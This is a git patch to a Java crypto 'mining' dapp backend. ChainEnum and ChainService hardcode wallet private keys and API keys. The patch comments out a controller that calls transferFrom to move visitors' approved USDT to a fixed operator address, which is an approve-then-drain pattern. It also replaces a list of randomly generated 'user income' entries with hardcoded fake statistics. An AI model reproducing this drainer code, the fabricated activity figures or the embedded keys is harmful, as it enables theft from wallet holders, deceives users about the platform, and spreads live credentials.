From c62c27263103dc5fbeea549d333431b758340166 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Wed, 25 May 2022 16:23:07 +0800 Subject: [PATCH] fix --- src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java | 6 src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java | 17 - src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 130 ++++------- src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java | 26 +- src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java | 18 src/main/resources/application-test.yml | 2 src/main/java/cc/mrbird/febs/dapp/controller/DappController.java | 238 ++++++++++---------- src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java | 63 +++++ src/main/java/cc/mrbird/febs/dapp/service/impl/BscUsdtContractEvent.java | 15 + src/main/java/cc/mrbird/febs/job/ChainListenerJob.java | 29 ++ src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java | 48 ++-- src/main/java/cc/mrbird/febs/dapp/service/impl/BscCoinContractEvent.java | 15 + src/main/java/cc/mrbird/febs/dapp/vo/WalletInfoVo.java | 24 + src/main/java/cc/mrbird/febs/dapp/chain/ContractEventService.java | 6 src/main/resources/application.yml | 2 src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java | 2 16 files changed, 369 insertions(+), 272 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java index 5d278fc..33d1f40 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java @@ -1,8 +1,69 @@ package cc.mrbird.febs.dapp.chain; +import lombok.Data; +import lombok.Getter; + /** * 链类型 */ +@Getter public enum ChainEnum { - ETH, TRX, BSC + /** + * 以太坊 USDT合约 + */ + ETH_USDT("0x6c5640c572504a75121e57760909a9dd0E672f2D", + "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb", + "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0", + "0xdac17f958d2ee523a2206206994597c13d831ec7", + ""), + + TRX_USDT("TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL", + "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb", + "", + "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", + "9d461be6-9796-47b9-85d8-b150cbabbb54"), + + BSC_USDT("0x971c09aA9735EB98459B17EC8b48932D24CbB931", + "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47", + "https://bsc-dataseed1.ninicoin.io", + "0x55d398326f99059fF775485246999027B3197955", + ""), + + /** + * 币安链 代币合约 + */ + BSC_TFC("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25", + "0xefe98e00cd227b6322e892c82fcbd8eadf119c3188b7e574bc624f65405d61bf", + "https://bsc-dataseed1.ninicoin.io", + "0x6c6835e60e7dbad7a60112a6371271e8eb79ee68", + ""); + + private String address; + + private String privateKey; + + private String url; + + private String contractAddress; + + private String apiKey; + + ChainEnum(String address, String privateKey, String url, String contractAddress, String apiKey) { + this.address = address; + this.privateKey = privateKey; + this.url = url; + this.contractAddress = contractAddress; + this.apiKey = apiKey; + } + + public static ChainEnum getValueByName(String name) { + ChainEnum[] values = values(); + for (ChainEnum value : values) { + if (value.name().equals(name)) { + return value; + } + } + + return null; + } } diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java index 8e3a7ff..661d7f2 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java @@ -4,16 +4,30 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; +import lombok.extern.slf4j.Slf4j; import org.springframework.data.repository.query.ParameterOutOfBoundsException; +import org.web3j.crypto.Credentials; +import org.web3j.protocol.Web3j; +import org.web3j.protocol.core.DefaultBlockParameter; +import org.web3j.protocol.core.DefaultBlockParameterName; +import org.web3j.protocol.core.DefaultBlockParameterNumber; +import org.web3j.protocol.core.methods.request.EthFilter; +import org.web3j.protocol.core.methods.response.TransactionReceipt; +import org.web3j.protocol.http.HttpService; +import org.web3j.tx.gas.StaticGasProvider; import java.math.BigDecimal; import java.math.BigInteger; import java.rmi.activation.UnknownObjectException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; /** * @author * @date 2022-03-23 **/ +@Slf4j public class ChainService { private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; @@ -27,9 +41,13 @@ private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7"; private final static String BSC_URL = "https://bsc-dataseed1.ninicoin.io"; - private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931"; - private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47"; - private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955"; +// private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931"; +// private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47"; +// private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955"; + + private final static String BSC_ADDRESS = "0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25"; + private final static String BSC_PRIVATE = "0xefe98e00cd227b6322e892c82fcbd8eadf119c3188b7e574bc624f65405d61bf"; + private final static String BSC_CONTRACT_ADDRESS = "0x6c6835e60e7dbad7a60112a6371271e8eb79ee68"; private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS); private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS); @@ -57,82 +75,38 @@ throw new FebsException("参数错误"); } - public static void main(String[] args) { - // 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25 - System.out.println(getInstance("BSC").isAllowance("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25")); + /** + * 监听合约事件 + * @param startBlock 开始区块 + */ + public static void contractEventListener(BigInteger startBlock, ContractEventService event, String type) { + ChainEnum chain = ChainEnum.getValueByName(type); + assert chain != null; -// System.out.println(getInstance("BSC").decimals());; + EthUsdtContract contract = contract(chain.getPrivateKey(), chain.getContractAddress(), chain.getUrl()); + EthFilter filter = getFilter(startBlock, chain.getContractAddress()); -// System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); + contract.transferEventFlowable(filter).subscribe(e -> { + event.compile(e); + }, error -> { + log.error("--->", error); + }); } -// -// /** -// * 获取制定账号的USDT余额 -// * -// * @param address -// * @return -// */ -// public BigDecimal balanceOf(String address) { -// BigDecimal balance = BigDecimal.ZERO; -// if (address.contains(ETH_PREFIX)) { -// balance = ETH.tokenGetBalance(address); -// } else { -// balance = TRX.balanceOf(address); -// } -// return balance; -// } -// -// /** -// * 判断地址是否授权给制定账户 -// * -// * @param address -// * @return -// */ -// public boolean isAllowance(String address) { -// BigInteger result; -// if (address.startsWith(ETH_PREFIX)) { -// result = ETH.ethAllowance(address); -// } else { -// result = TRX.allowance(address); -// } -// -// return result.intValue() != 0; -// } -// -// /** -// * 获取地址授权数量 -// * -// * @param address -// * @return -// */ -// public int allowanceCnt(String address) { -// String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); -// String total = JSONObject.parseObject(response).getString("total"); -// return Integer.parseInt(total); -// } -// -// public String transfer(String address) { -// BigDecimal amount = balanceOf(address); -// -// return transfer(address, amount); -// } -// -// public String transfer(String address, BigDecimal amount) { -// String hash; -// if (address.startsWith(ETH_PREFIX)) { -// String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); -// JSONObject data = JSONObject.parseObject(resp); -// hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); -// } else { -// hash = TRX.transfer(address, amount); -// } -// return hash; -// } -// -// public static void main(String[] args) { -//// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); -// -//// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); -// System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); -// } + + private static EthUsdtContract contract(String privateKey, String contractAddress, String url) { + Credentials credentials = Credentials.create(privateKey); + return EthUsdtContract.load(contractAddress, Web3j.build(new HttpService(url)), credentials, new StaticGasProvider(BigInteger.valueOf(4500000L), BigInteger.valueOf(200000L))); + } + + private static EthFilter getFilter(BigInteger startBlock, String contractAddress) { + DefaultBlockParameter parameterName = null; + if (startBlock != null) { + parameterName = new DefaultBlockParameterNumber(startBlock); + } else { + parameterName = DefaultBlockParameterName.EARLIEST; + } + + return new EthFilter(parameterName, DefaultBlockParameterName.LATEST, contractAddress); + } + } diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ContractEventService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ContractEventService.java new file mode 100644 index 0000000..481edd4 --- /dev/null +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ContractEventService.java @@ -0,0 +1,6 @@ +package cc.mrbird.febs.dapp.chain; + +public interface ContractEventService { + + void compile(EthUsdtContract.TransferEventResponse e); +} diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java b/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java index 34fb021..f5e10d2 100644 --- a/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java +++ b/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java @@ -28,35 +28,35 @@ private final DappSystemService dappSystemService; private final DappSimulateDataService dappSimulateDataService; - @ApiOperation(value = "授权接口", notes = "授权接口") - @PostMapping(value = "/approve") - public FebsResponse approve(@RequestBody ApproveDto approveDto) { - dappMemberService.approve(approveDto); - return new FebsResponse().success().message("授权成功"); - } +// @ApiOperation(value = "授权接口", notes = "授权接口") +// @PostMapping(value = "/approve") +// public FebsResponse approve(@RequestBody ApproveDto approveDto) { +// dappMemberService.approve(approveDto); +// return new FebsResponse().success().message("授权成功"); +// } +// +// @ApiOperation(value = "是否授权接口", notes = "是否授权接口") +// @GetMapping(value = "/isApprove/{chain}/{address}") +// public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) { +// return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain)); +// } - @ApiOperation(value = "是否授权接口", notes = "是否授权接口") - @GetMapping(value = "/isApprove/{chain}/{address}") - public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) { - return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain)); - } - - @ApiOperation(value = "首页总收入和列表", notes = "总收入和列表") + @ApiOperation(value = "头部数据", notes = "头部数据") @GetMapping(value = "/totalIncome") public FebsResponse totalIncome() { return new FebsResponse().success().data(dappSystemService.findTotalInComeAndList()); } - @ApiOperation(value = "全局设置", notes = "全局设置") - @GetMapping(value = "/globalSetting") - public FebsResponse globalSetting() { - return new FebsResponse().success().data(dappSystemService.globalSetting()); - } +// @ApiOperation(value = "全局设置", notes = "全局设置") +// @GetMapping(value = "/globalSetting") +// public FebsResponse globalSetting() { +// return new FebsResponse().success().data(dappSystemService.globalSetting()); +// } - @ApiOperation(value = "获取模拟数据", notes = "获取模拟数据") - @GetMapping(value = "/findSimulateData/{batchNo}") - public FebsResponse findSimulateData(@PathVariable("batchNo") String batchNo) { - SimulateDataVo simulateData = dappSimulateDataService.findSimulateData(batchNo); - return new FebsResponse().success().data(simulateData); - } +// @ApiOperation(value = "获取模拟数据", notes = "获取模拟数据") +// @GetMapping(value = "/findSimulateData/{batchNo}") +// public FebsResponse findSimulateData(@PathVariable("batchNo") String batchNo) { +// SimulateDataVo simulateData = dappSimulateDataService.findSimulateData(batchNo); +// return new FebsResponse().success().data(simulateData); +// } } diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java b/src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java index ab00906..d06927a 100644 --- a/src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java +++ b/src/main/java/cc/mrbird/febs/dapp/controller/ApiDappMemberController.java @@ -37,19 +37,19 @@ return new FebsResponse().success().data(walletInfoVo); } - @ApiOperation(value = "兑换接口", notes = "兑换") - @PostMapping(value = "/change") - public FebsResponse change(@RequestBody WalletOperateDto walletOperateDto) { - dappWalletService.change(walletOperateDto); - return new FebsResponse().success().message("兑换成功"); - } - - @ApiOperation(value = "提现接口", notes = "提现接口") - @PostMapping(value = "/withdraw") - public FebsResponse withdraw(@RequestBody WalletOperateDto walletOperateDto) { - dappWalletService.withdraw(walletOperateDto); - return new FebsResponse().success().message("申请成功, 等待审核"); - } +// @ApiOperation(value = "兑换接口", notes = "兑换") +// @PostMapping(value = "/change") +// public FebsResponse change(@RequestBody WalletOperateDto walletOperateDto) { +// dappWalletService.change(walletOperateDto); +// return new FebsResponse().success().message("兑换成功"); +// } +// +// @ApiOperation(value = "提现接口", notes = "提现接口") +// @PostMapping(value = "/withdraw") +// public FebsResponse withdraw(@RequestBody WalletOperateDto walletOperateDto) { +// dappWalletService.withdraw(walletOperateDto); +// return new FebsResponse().success().message("申请成功, 等待审核"); +// } @ApiOperation(value = "记录列表", notes = "记录列表") @PostMapping(value = "/recordInPage") diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java index 456eb84..e6f2d12 100644 --- a/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java +++ b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java @@ -1,120 +1,120 @@ -package cc.mrbird.febs.dapp.controller; - -import cc.mrbird.febs.common.contants.AppContants; -import cc.mrbird.febs.common.entity.FebsResponse; -import cc.mrbird.febs.dapp.mapper.DappAdressListDao; -import cc.mrbird.febs.dapp.dto.TrxPostDto; -import cc.mrbird.febs.dapp.entity.DappAddressList; -import cn.hutool.core.util.StrUtil; -import io.swagger.annotations.Api; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.lang3.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; -import org.tron.trident.core.ApiWrapper; -import org.tron.trident.core.contract.Contract; -import org.tron.trident.core.contract.Trc20Contract; -import org.web3j.abi.FunctionEncoder; -import org.web3j.abi.FunctionReturnDecoder; -import org.web3j.abi.TypeReference; -import org.web3j.abi.datatypes.Address; -import org.web3j.abi.datatypes.Function; -import org.web3j.abi.datatypes.Type; -import org.web3j.abi.datatypes.generated.Uint256; -import org.web3j.crypto.Credentials; -import org.web3j.crypto.RawTransaction; -import org.web3j.crypto.TransactionEncoder; -import org.web3j.protocol.Web3j; -import org.web3j.protocol.core.DefaultBlockParameterName; -import org.web3j.protocol.core.methods.request.Transaction; -import org.web3j.protocol.core.methods.response.EthCall; -import org.web3j.protocol.core.methods.response.EthGetTransactionCount; -import org.web3j.protocol.core.methods.response.EthSendTransaction; -import org.web3j.protocol.http.HttpService; -import org.web3j.utils.Convert; -import org.web3j.utils.Numeric; - -import javax.servlet.http.HttpServletRequest; -import java.io.IOException; -import java.math.BigDecimal; -import java.math.BigInteger; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Date; -import java.util.List; -import java.util.concurrent.CompletableFuture; -import java.util.concurrent.ExecutionException; - -/** - * @author - * @date 2021-10-19 - **/ -@Slf4j -@RequiredArgsConstructor -@CrossOrigin(origins = "*") -@RestController -@Api(value = "接口啊", tags = "接口啊") -@RequestMapping(value = "/trx") -public class DappController { - - @Autowired - private DappAdressListDao dappAdressListDao; - - @PostMapping(value = "/trcPost.html") - public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { - log.info("-----进入方法-----"); - - DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress()); - if (dappAddress == null) { - dappAddress = new DappAddressList(); - dappAddress.setCreateTime(new Date()); - dappAddress.setAddress(trxPostDto.getAddress()); - dappAdressListDao.insert(dappAddress); - } - - ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); - - Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); - Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); -// BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); -// System.out.println(balanceOf); - - BigInteger decimals = token.decimals(); - BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); - BigDecimal amount = BigDecimal.ZERO; - if (StrUtil.isNotBlank(trxPostDto.getAmount())) { - amount = new BigDecimal(trxPostDto.getAmount()); - } - - amount = amount.multiply(mul); - - token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L); - return new FebsResponse().success(); - } - - public static void main(String[] args) throws Exception { -// ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978"); -// Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6"); -// Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper); +//package cc.mrbird.febs.dapp.controller; // -// BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"); -// token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L); - - -// ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54"); -// Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT"); -// Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper); - - - ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); - - Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); - Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); - - System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));; - - } - - -} +//import cc.mrbird.febs.common.contants.AppContants; +//import cc.mrbird.febs.common.entity.FebsResponse; +//import cc.mrbird.febs.dapp.mapper.DappAdressListDao; +//import cc.mrbird.febs.dapp.dto.TrxPostDto; +//import cc.mrbird.febs.dapp.entity.DappAddressList; +//import cn.hutool.core.util.StrUtil; +//import io.swagger.annotations.Api; +//import lombok.RequiredArgsConstructor; +//import lombok.extern.slf4j.Slf4j; +//import org.apache.commons.lang3.StringUtils; +//import org.springframework.beans.factory.annotation.Autowired; +//import org.springframework.web.bind.annotation.*; +//import org.tron.trident.core.ApiWrapper; +//import org.tron.trident.core.contract.Contract; +//import org.tron.trident.core.contract.Trc20Contract; +//import org.web3j.abi.FunctionEncoder; +//import org.web3j.abi.FunctionReturnDecoder; +//import org.web3j.abi.TypeReference; +//import org.web3j.abi.datatypes.Address; +//import org.web3j.abi.datatypes.Function; +//import org.web3j.abi.datatypes.Type; +//import org.web3j.abi.datatypes.generated.Uint256; +//import org.web3j.crypto.Credentials; +//import org.web3j.crypto.RawTransaction; +//import org.web3j.crypto.TransactionEncoder; +//import org.web3j.protocol.Web3j; +//import org.web3j.protocol.core.DefaultBlockParameterName; +//import org.web3j.protocol.core.methods.request.Transaction; +//import org.web3j.protocol.core.methods.response.EthCall; +//import org.web3j.protocol.core.methods.response.EthGetTransactionCount; +//import org.web3j.protocol.core.methods.response.EthSendTransaction; +//import org.web3j.protocol.http.HttpService; +//import org.web3j.utils.Convert; +//import org.web3j.utils.Numeric; +// +//import javax.servlet.http.HttpServletRequest; +//import java.io.IOException; +//import java.math.BigDecimal; +//import java.math.BigInteger; +//import java.util.ArrayList; +//import java.util.Arrays; +//import java.util.Date; +//import java.util.List; +//import java.util.concurrent.CompletableFuture; +//import java.util.concurrent.ExecutionException; +// +///** +// * @author +// * @date 2021-10-19 +// **/ +//@Slf4j +//@RequiredArgsConstructor +//@CrossOrigin(origins = "*") +//@RestController +//@Api(value = "接口啊", tags = "接口啊") +//@RequestMapping(value = "/trx") +//public class DappController { +// +// @Autowired +// private DappAdressListDao dappAdressListDao; +// +// @PostMapping(value = "/trcPost.html") +// public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { +// log.info("-----进入方法-----"); +// +// DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress()); +// if (dappAddress == null) { +// dappAddress = new DappAddressList(); +// dappAddress.setCreateTime(new Date()); +// dappAddress.setAddress(trxPostDto.getAddress()); +// dappAdressListDao.insert(dappAddress); +// } +// +// ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); +// +// Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); +// Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); +//// BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); +//// System.out.println(balanceOf); +// +// BigInteger decimals = token.decimals(); +// BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); +// BigDecimal amount = BigDecimal.ZERO; +// if (StrUtil.isNotBlank(trxPostDto.getAmount())) { +// amount = new BigDecimal(trxPostDto.getAmount()); +// } +// +// amount = amount.multiply(mul); +// +// token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L); +// return new FebsResponse().success(); +// } +// +// public static void main(String[] args) throws Exception { +//// ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978"); +//// Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6"); +//// Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper); +//// +//// BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"); +//// token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L); +// +// +//// ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54"); +//// Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT"); +//// Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper); +// +// +// ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); +// +// Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); +// Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); +// +// System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));; +// +// } +// +// +//} diff --git a/src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java b/src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java index 7bc4706..4c36764 100644 --- a/src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java +++ b/src/main/java/cc/mrbird/febs/dapp/dto/RecordInPageDto.java @@ -18,6 +18,6 @@ @ApiModelProperty(value = "每页数量") private Integer pageSize = 10; - @ApiModelProperty(value = "类型", example = "1-兑换 2-提现 3-采矿") + @ApiModelProperty(value = "类型", example = "1-买入 2-卖出 3-采矿") private Integer type; } diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/BscCoinContractEvent.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/BscCoinContractEvent.java new file mode 100644 index 0000000..0056af6 --- /dev/null +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/BscCoinContractEvent.java @@ -0,0 +1,15 @@ +package cc.mrbird.febs.dapp.service.impl; + +import cc.mrbird.febs.dapp.chain.ContractEventService; +import cc.mrbird.febs.dapp.chain.EthUsdtContract; +import org.springframework.stereotype.Service; + +@Service +public class BscCoinContractEvent implements ContractEventService { + + + @Override + public void compile(EthUsdtContract.TransferEventResponse e) { + + } +} diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/BscUsdtContractEvent.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/BscUsdtContractEvent.java new file mode 100644 index 0000000..c27d0ac --- /dev/null +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/BscUsdtContractEvent.java @@ -0,0 +1,15 @@ +package cc.mrbird.febs.dapp.service.impl; + +import cc.mrbird.febs.dapp.chain.ContractEventService; +import cc.mrbird.febs.dapp.chain.EthUsdtContract; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +@Slf4j +@Service +public class BscUsdtContractEvent implements ContractEventService { + + @Override + public void compile(EthUsdtContract.TransferEventResponse e) { + } +} diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java index 542ecdc..600bdfb 100644 --- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSimulateServiceImpl.java @@ -42,9 +42,9 @@ } WalletInfoVo walletInfo = new WalletInfoVo(); - walletInfo.setTotalMine(simulateDataDto.getTotalOutput()); - walletInfo.setAvailableMine(simulateDataDto.getRemainOutput()); - walletInfo.setAvailableWallet(simulateDataDto.getBalance()); +// walletInfo.setTotalMine(simulateDataDto.getTotalOutput()); +// walletInfo.setAvailableMine(simulateDataDto.getRemainOutput()); +// walletInfo.setAvailableWallet(simulateDataDto.getBalance()); String changeStr = simulateDataDto.getChange().replaceAll("\\n", ""); List<String> changeList = StrUtil.split(changeStr, ';'); diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java index ba70d4e..3334b1e 100644 --- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappSystemServiceImpl.java @@ -38,22 +38,11 @@ public Map<String, Object> findTotalInComeAndList() { DappMineDataEntity dataMine = dappSystemDao.selectMineDataForOne(); - List<Map<String, Object>> incomeList = new ArrayList<>(); - for (int i = 0; i < 15; i++) { - Map<String, Object> incomeItem = new HashMap<>(); - int index = RandomUtil.randomInt(1, 10); - String prefix = ADDRESS_PREFIX[index % 2]; - - String address = prefix + RandomUtil.randomString(22); - - incomeItem.put("address", StrUtil.hide(address, 8, address.length() - 6)); - incomeItem.put("income", RandomUtil.randomBigDecimal(new BigDecimal("0.001"), new BigDecimal("2")).setScale(6, RoundingMode.HALF_DOWN)); - incomeList.add(incomeItem); - } Map<String, Object> result = new HashMap<>(); - result.put("mineData", dataMine); - result.put("userIncome", incomeList); + result.put("total", 6000); + result.put("addreessCnt", 1234); + result.put("coinCnt", 4000); return result; } diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java index 9f0c845..adb19df 100644 --- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java +++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java @@ -41,16 +41,18 @@ @Override public WalletInfoVo walletInfo() { - DappMemberEntity member = LoginUserUtil.getAppUser(); - - DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId()); - DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId()); +// DappMemberEntity member = LoginUserUtil.getAppUser(); +// DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId()); +// 